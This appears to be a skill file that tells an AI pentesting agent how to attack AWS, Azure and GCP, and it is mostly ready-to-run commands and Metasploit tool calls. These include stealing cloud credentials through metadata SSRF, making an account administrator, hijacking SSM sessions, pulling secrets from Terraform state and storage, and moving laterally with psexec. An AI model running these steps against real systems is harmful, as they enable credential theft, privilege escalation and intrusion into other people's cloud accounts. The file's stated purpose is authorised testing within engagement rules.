cloud-pentest

name	cloud-pentest
description	Guides cloud penetration testing for AWS, Azure, and GCP enumeration, credential abuse, metadata SSRF, storage misconfigurations, IAM privilege escalation, and cloud lateral movement from web or internal footholds.

Cloud Pentest

Prerequisites

• Cloud targets or metadata endpoints are in engagement ROE.
• SSRF to cloud metadata: load ssrf-pentest and web-app-pentest.
• Hybrid AD: load internal-ad-pentest for Azure AD Connect paths.

Workflow

Task Progress:
- [ ] Identify cloud provider(s) and entry point (credentials, SSRF, metadata, CLI)
- [ ] Enumerate accounts, roles, storage, compute
- [ ] Test privilege escalation paths
- [ ] Document findings with account/resource IDs

Metadata SSRF endpoints

AWS IMDS

MSF MCP (preferred):

msf_run_auxiliary_module(
  module_name="auxiliary/gather/aws_ec2_instance_metadata",
  engagement_id="<id>",
  options={"RHOSTS": "<vulnerable_app>", "RPORT": 80, "TARGETURI": "/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"}
)

CLI fallback:

# IMDSv1
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/

# IMDSv2
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>

Azure IMDS

MSF: No direct module; use CLI.

CLI fallback:

curl -H "Metadata: true" "http://169.254.169.254/metadata/instance?api-version=2021-02-01"
curl -H "Metadata: true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"

GCP metadata

MSF: No direct module; use CLI.

CLI fallback:

curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token

AWS enumeration

CLI baseline

MSF: No direct module; use CLI.

CLI fallback:

aws sts get-caller-identity
aws iam list-users
aws s3 ls
aws ec2 describe-instances
aws secretsmanager list-secrets

Pacu automated enumeration

MSF: No direct module; use CLI.

CLI fallback:

python3 pacu.py
# Inside Pacu:
run iam__enum_users_roles_policies_groups
run iam__enum_permissions
run iam_privesc_scan
run aws__enum_s3_buckets
run aws__enum_ec2

ScoutSuite assessment

MSF: No direct module; use CLI.

CLI fallback:

scout aws --profile compromised --report-dir ./scout-report
scout azure --cli --report-dir ./scout-report
scout gcp --project-id <project> --report-dir ./scout-report
python3 scout.py aws --profile compromised --report-dir ./scout-report

Review HTML report for public S3, overly permissive IAM, open security groups.

IAM privesc patterns

MSF: No direct module; use CLI.

CLI fallback:

# Pacu privesc scan
python3 pacu.py
run iam_privesc_scan

# Manual: create access key for admin user if permitted
aws iam create-access-key --user-name target-admin
aws iam attach-user-policy --user-name self --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

Permission	Escalation
iam:CreateAccessKey	New keys for admin user
iam:AttachUserPolicy	Attach AdministratorAccess
lambda:CreateFunction + iam:PassRole	Lambda with admin role
sts:AssumeRole	Role chaining

AWS SSM Session Hijack

MSF: No direct module; use CLI.

CLI fallback:

aws ssm describe-sessions --state Active --region <region>
aws ssm start-session --target <instance-id> --region <region>
aws ssm send-command --instance-ids <id> --document-name "AWS-RunShellScript" --parameters "commands=['whoami']"

S3 misconfig

MSF: No direct module; use CLI.

CLI fallback:

aws s3 ls s3://bucket-name --no-sign-request
aws s3 cp s3://bucket-name/object . --no-sign-request

Azure enumeration

MSF: No direct module; use CLI.

CLI fallback:

az account show
az ad signed-in-user show
az role assignment list --all
az keyvault secret list --vault-name <vault>
az storage blob list --account-name <acct> --container-name <container>

BloodHound Azure (AzureHound):

azurehound list -u [e-mail] -p password -t tenant.onmicrosoft.com

Azure Graph API Enumeration

MSF: No direct module; use CLI.

CLI fallback:

az rest --method GET --url "https://graph.microsoft.com/v1.0/users"
az rest --method GET --url "https://graph.microsoft.com/v1.0/groups"
az ad app list --query "[].{name:displayName,id:appId}" -o table

Azure AD Connect (hybrid)

MSF: No direct module; use CLI.

CLI fallback:

# On AD Connect server
reg query "HKLM\SOFTWARE\Microsoft\Azure AD Sync"
# Extract MSOL sync account; DCSync via cloud-sync misconfig

GCP enumeration

MSF: No direct module; use CLI.

CLI fallback:

gcloud auth list
gcloud projects list
gcloud iam service-accounts list
gcloud compute instances list
gcloud storage buckets list

Terraform state reading

MSF: No direct module; use CLI.

CLI fallback:

# Local state
cat terraform.tfstate | jq '.resources[].instances[].attributes'
grep -E "password|secret|key|token" terraform.tfstate

# Remote state (S3 backend)
aws s3 cp s3://terraform-state-bucket/env/terraform.tfstate -
terraform show -json | jq '.values.root_module.resources'

# Azure backend
az storage blob download --account-name tfstate --container-name state --name prod.tfstate --file prod.tfstate

State files often contain plaintext DB passwords, API keys, and private keys.

Storage and secrets hunting

MSF MCP (preferred):

msf_search_modules(query="tomcat jenkins")
msf_module_check(
  module_name="exploit/multi/http/jenkins_metaprogramming",
  engagement_id="<id>",
  module_type="exploit",
  options={"RHOSTS": "<jenkins>", "RPORT": 8080}
)

CLI fallback:

aws s3api get-bucket-acl --bucket <name>
aws s3api get-bucket-policy --bucket <name>
grep -r "AWS_SECRET\|password\|apikey" . --include="*.env" --include="*.yml"

Search Lambda env vars, Task Definitions, K8s secrets for long-lived keys.

Lateral movement

MSF MCP (preferred):

msf_run_exploit(
  module_name="exploit/windows/smb/psexec",
  engagement_id="<id>",
  options={"RHOSTS": "<onprem>", "SMBUser": "sync_account", "SMBPass": "password"}
)

CLI fallback:

# Azure VM -> managed identity -> Key Vault
az vm run-command invoke -g <rg> -n <vm> --command-id RunShellScript --scripts "curl -H Metadata:true http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://vault.azure.net"

Related skills

• ssrf-pentest - SSRF to metadata
• web-app-pentest - cloud-hosted app testing
• internal-ad-pentest - Azure AD hybrid, on-prem to cloud
• container-devops-pentest - ACR, ECR, cloud-hosted K8s
• methodology-cheatsheets - cross-cutting cloud and pivot references